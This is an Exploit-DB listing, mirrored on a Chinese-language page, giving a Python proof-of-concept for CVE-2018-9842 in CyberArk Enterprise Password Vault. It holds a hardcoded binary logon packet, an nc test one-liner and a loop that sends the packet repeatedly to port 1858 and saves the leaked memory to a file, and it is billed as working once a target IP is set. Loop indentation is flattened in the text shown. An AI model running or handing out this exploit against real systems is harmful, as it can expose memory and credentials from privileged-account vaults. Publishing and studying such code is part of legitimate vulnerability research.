CyberArk 9.7 – Memory Disclosure

  • 作者: Thomas Zuk
    日期: 2018-12-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45926/
  • # Exploit Title: CyberArk 9.7 - Memory Disclosure
    # Date: 2018-06-04
    # Exploit Author: Thomas Zuk (@Freakazoidile)
    # Vendor Homepage: https://www.cyberark.com/products/privileged-account-security-solution/enterprise-password-vault/
    # Version: < 9.7 and < 10
    # Tested on: Windows 2008, Windows 2012, Windows 7, Windows 8, Windows 10
    # CVE: CVE-2018-9842
    
    # Description: There currently exists a general advisory for the CVE with a description of exploitation and how 
    # to reproduce, but without full exploit code. I have developed a working, reliable standalone Python exploit that 
    # can be successfully used by modifying only the target IP address. Attached to this email submission is the working exploit code. 
    
    #!/usr/bin/python
    
    import socket
    import os
    import sys
    
    # Exploit script for CVE-2018-9842
    # Original vulnerability advisory: https://www.redteam-pentesting.de/advisories/rt-sa-2017-015
    # Author: Thomas Zuk (@Freakazoidile) - Security Consultant @ Packetlabs ltd.
    
    # Linux cmd line manual test: cat logon.bin | nc -vv IP 1858 | xxd
    # paste the following bytes into a hexedited file named logon.bin:
    #fffffffff7000000ffffffff3d0100005061636c695363726970745573657200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020202020ffffffff0000000000000000000073000000cececece00000000000000000000000000000000303d4c6f676f6efd3131353d372e32302e39302e3238fd36393d50fd3131363d30fd3130303dfd3231373d59fd3231383d5041434c49fd3231393dfd3331373d30fd3335373d30fd32323d5061636c6953637269707455736572fd3336373d3330fd0000
    #
    #
    
    ip = "10.107.32.21"
    port = 1858
    
    # Cyber Ark port 1858 is a proprietary software and protocol to perform login and administrative services.
    # The below is a sample login request that is needed to receive the memory
    
    pacli_logon = "\xff\xff\xff\xff\xf7\x00\x00\x00\xff\xff\xff\xff\x3d\x01\x00\x00\x50\x61\x63\x6c\x69\x53\x63\x72\x69\x70\x74\x55\x73\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x20\x20\x20\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x73\x00\x00\x00\xce\xce\xce\xce\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x30\x3d\x4c\x6f\x67\x6f\x6e\xfd\x31\x31\x35\x3d\x37\x2e\x32\x30\x2e\x39\x30\x2e\x32\x38\xfd\x36\x39\x3d\x50\xfd\x31\x31\x36\x3d\x30\xfd\x31\x30\x30\x3d\xfd\x32\x31\x37\x3d\x59\xfd\x32\x31\x38\x3d\x50\x41\x43\x4c\x49\xfd\x32\x31\x39\x3d\xfd\x33\x31\x37\x3d\x30\xfd\x33\x35\x37\x3d\x30\xfd\x32\x32\x3d\x50\x61\x63\x6c\x69\x53\x63\x72\x69\x70\x74\x55\x73\x65\x72\xfd\x33\x36\x37\x3d\x33\x30\xfd\x00\x00"
    
    
    for iteration in range(0, 110):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    s.send(pacli_logon)
    
    # recieve response
    s.recv(200)
    reply = s.recv(1500)
    
    # write responses to file
    file = open("cyberark_memory", "a")
    
    file.write("received: \n")
    file.write(reply)
    file.write("\n\n\n")
    file.close()
    
    s.close()